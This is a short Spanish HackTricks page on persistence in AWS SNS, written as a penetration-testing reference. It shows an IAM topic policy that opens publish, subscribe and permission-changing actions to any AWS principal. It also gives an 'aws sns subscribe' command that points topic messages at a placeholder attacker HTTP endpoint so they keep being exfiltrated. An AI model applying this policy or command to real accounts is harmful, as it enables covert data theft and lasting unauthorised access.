AWS - SNS Persistence

Support HackTricks

SNS

Para más información, consulta:

Persistence

Al crear un tema SNS, necesitas indicar con una política IAM quién tiene acceso para leer y escribir. Es posible indicar cuentas externas, ARN de roles, o incluso "*". La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Crear Suscriptores

Para continuar exfiltrando todos los mensajes de todos los temas, el atacante podría crear suscriptores para todos los temas.

Tenga en cuenta que si el tema es de tipo FIFO, solo se pueden utilizar suscriptores que usen el protocolo SQS.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Apoya a HackTricks

Last updated